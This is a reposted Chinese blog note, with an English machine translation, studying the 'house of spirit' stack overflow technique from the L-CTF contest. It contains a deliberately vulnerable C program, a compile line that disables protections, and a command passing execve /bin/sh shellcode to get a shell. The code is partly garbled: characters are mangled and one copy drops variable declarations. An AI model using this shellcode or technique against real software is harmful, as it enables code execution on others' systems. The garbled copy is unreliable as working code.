| 主機參考:VPS測評參考推薦/專注分享VPS服務器優惠信息!若您是商家可以在本站進行投稿,查看詳情!此外我們還提供軟文收錄、PayPal代付、廣告贊助等服務,查看詳情! |
| 我們發布的部分優惠活動文章可能存在時效性,購買時建議在本站搜索商家名稱可查看相關文章充分了解該商家!若非中文頁面可使用Edge瀏覽器同步翻譯!PayPal代付/收錄合作 |
學習了一下L-CTF中介紹的一個棧溢出利用技巧,記錄一下。
樣例代碼如下:
/*
?*?blackngel's?vulnerable?program?slightly?modified?by?gb_master
?*/
#include?<stdlib.hgt;
void?fvuln(char?*str1,?int?age)
{
??int?local_age;
??char?*ptr2;
??local_age?=?age;
??ptr1?=?(char?*)?malloc(256);
??printf("nPTR1?=?[?%p?]",?ptr1);
??strcpy(name,?str1);
??printf("nPTR1?=?[?%p?]n",?ptr1);
??free(ptr1);
??ptr2?=?(char?*)?malloc(40);
??snprintf(ptr2,?40-1,?"%s?is?%d?years?old",?name,?local_age);
??printf("n%sn",?ptr2);
}
int?main(int?argc,?char?*argv[])
{
??int?pad[10]?=?{0,?0,?0,?0,?0,?0,?0,?10,?0,?0};
??if?(argc?==?3)
????fvuln(argv[1],?atoi(argv[2]));
??return?0;
}
gcc?hos.c?-m32?-fno-stack-protector?-mpreferred-stack-boundary=2?-mno-accumulate-outgoing-args?-z?execstack?-o?hos
Ubuntu 14 Server里編譯需要安裝一下開發包,否則會報錯sys/cdefs.h文件找不到:
sudo?apt-get?install?libc6-dev-i386
這里關鍵思路是:通過溢出修改局部變量的地址為棧中的一個地址,將偽造地址中的size字段設置成一個fastbin的有效大小,以便能成功將其free,后面的malloc將把此塊內存重新申請并使用,snprintf函數再向其中寫入數據,從而可以覆蓋函數返回地址,最終getshell。
局部變量的內存分布如下:
0xffffd03c?????name
0xffffd05c?????ptr2
0xffffd060?????ptr1
0xffffd064?????local_age
樣例測試命令如下:
./hos?`python?-c?'import?sys;?sys.stdout.write("x31xc0xebx14x44xd0xffxffx6ax0bx58x31xf6x56x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcaxcdx80x90"?+?"x01x01x01x68xd0xFFxFF"?+?"x30")'`?48
這里有點問題,通過GDB調試可以getshell,直接執行則報段錯誤:
Learn a stack overflow utilization technique introduced in l-ctf and record it.
/ *
?*?blackngel's?vulnerable?program?slightly?modified?by?gb_master
* /
#include?<stdio.hgt;
#include?<string.hgt;
#include?<stdlib.hgt;
void?fvuln(char?*str1,?int?age)
{
??char?*ptr1,?name[32];
??int?local_age;
??char?*ptr2;
??local_age?=?age;
??ptr1?=?(char?*)?malloc(256);
??printf("nPTR1?=?[?%p?]",?ptr1);
??strcpy(name,?str1);
??printf("nPTR1?=?[?%p?]n",?ptr1);
??free(ptr1);
??ptr2?=?(char?*)?malloc(40);
??snprintf(ptr2,?40-1,?"%s?is?%d?years?old",?name,?local_age);
??printf("n%sn",?ptr2);
}
int?main(int?argc,?char?*argv[])
{
??int?pad[10]?=?{0,?0,?0,?0,?0,?0,?0,?10,?0,?0};
??if?(argc?==?3)
????fvuln(argv[1],?atoi(argv[2]));
??return?0;
}
The compile command is as follows:
gcc?hos.c?-m32?-fno-stack-protector?-mpreferred-stack-boundary=2?-mno-accumulate-outgoing-args?-z?execstack?-o?hos
To compile in Ubuntu 14 server, you need to install the following development package. Otherwise, an error will be reported. The sys / cdefs. H file cannot be found:
sudo?apt-get?install?libc6-dev-i386
The key idea here is: change the address of local variable to an address in the stack through overflow, set the size field in the forged address to an effective size of fastbin, so that it can be free successfully, and malloc will reapply and use this block of memory, and snprintf function will write data to it, so that the return address of the function can be overwritten, and finally get shell.
The memory distribution of local variables is as follows:
0xffffd03c?????name
0xffffd05c?????ptr2
0xffffd060?????ptr1
0xffffd064?????local_age
The sle test command is as follows:
./hos?`python?-c?'import?sys;?sys.stdout.write("x31xc0xebx14x44xd0xffxffx6ax0bx58x31xf6x56x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcaxcdx80x90"?+?"x01x01x01x68xd0xFFxFF"?+?"x30")'`?48
There is a problem here. You can get the shell through GDB debugging. If you execute directly, a segment error will be reported:
--------------------------------------------------------------
主機參考,收集國內外VPS,VPS測評,主機測評,云服務器,虛擬主機,獨立服務器,國內外服務器,高性價比建站主機相關優惠信息@zhujicankao.com
詳細介紹和測評國外VPS主機,云服務器,國外服務器,國外主機的相關優惠信息,商家背景,網絡帶寬等等,也是目前國內最好的主機云服務器VPS參考測評資訊優惠信息分享平臺
這幾篇文章你可能也喜歡:
- PacificRack,黑色星期五特別優惠,美國便宜VPS云服務器低至1折,美國洛杉磯QN自營機房,KVM虛擬架構,2核4G內存100Mbps帶寬,僅15美元/年,約1.25美元/月
- ZJI,雙十二特價優惠活動,香港免備案獨立服務器5.5折,阿里云CN2專線,雙線雙IP,E5-2630L(6核12線程)處理器16G內存5Mbps CN2+BGP帶寬,412.5元/月
- #實時更新#最新2021年主機商雙十一活動匯總,國內外VPS主機商雙11促銷優惠活動匯總,海外免備案VPS云服務器/獨立服務器超大帶寬不限流量雙11活動
- ZJI,雙十一特價優惠,自營免備案香港獨立服務器/獨服一律55折,香港阿里云專線/BGP,Intel E5-2630L處理器16G內存5Mbps帶寬CN2+BGP阿里云專線,412元/月
- ZJI,香港葵灣獨立服務器/物理服務器特價優惠,終身55折循環優惠,CN2+BGP線路,E5-2630L處理器16G內存15Mbps帶寬,522.5元/月
本文由主機參考刊發,轉載請注明:【溢出利用技巧】house of spirit friendly stack overflow http://www.k2270.com/12485.html
主機參考

















評論前必須登錄!
注冊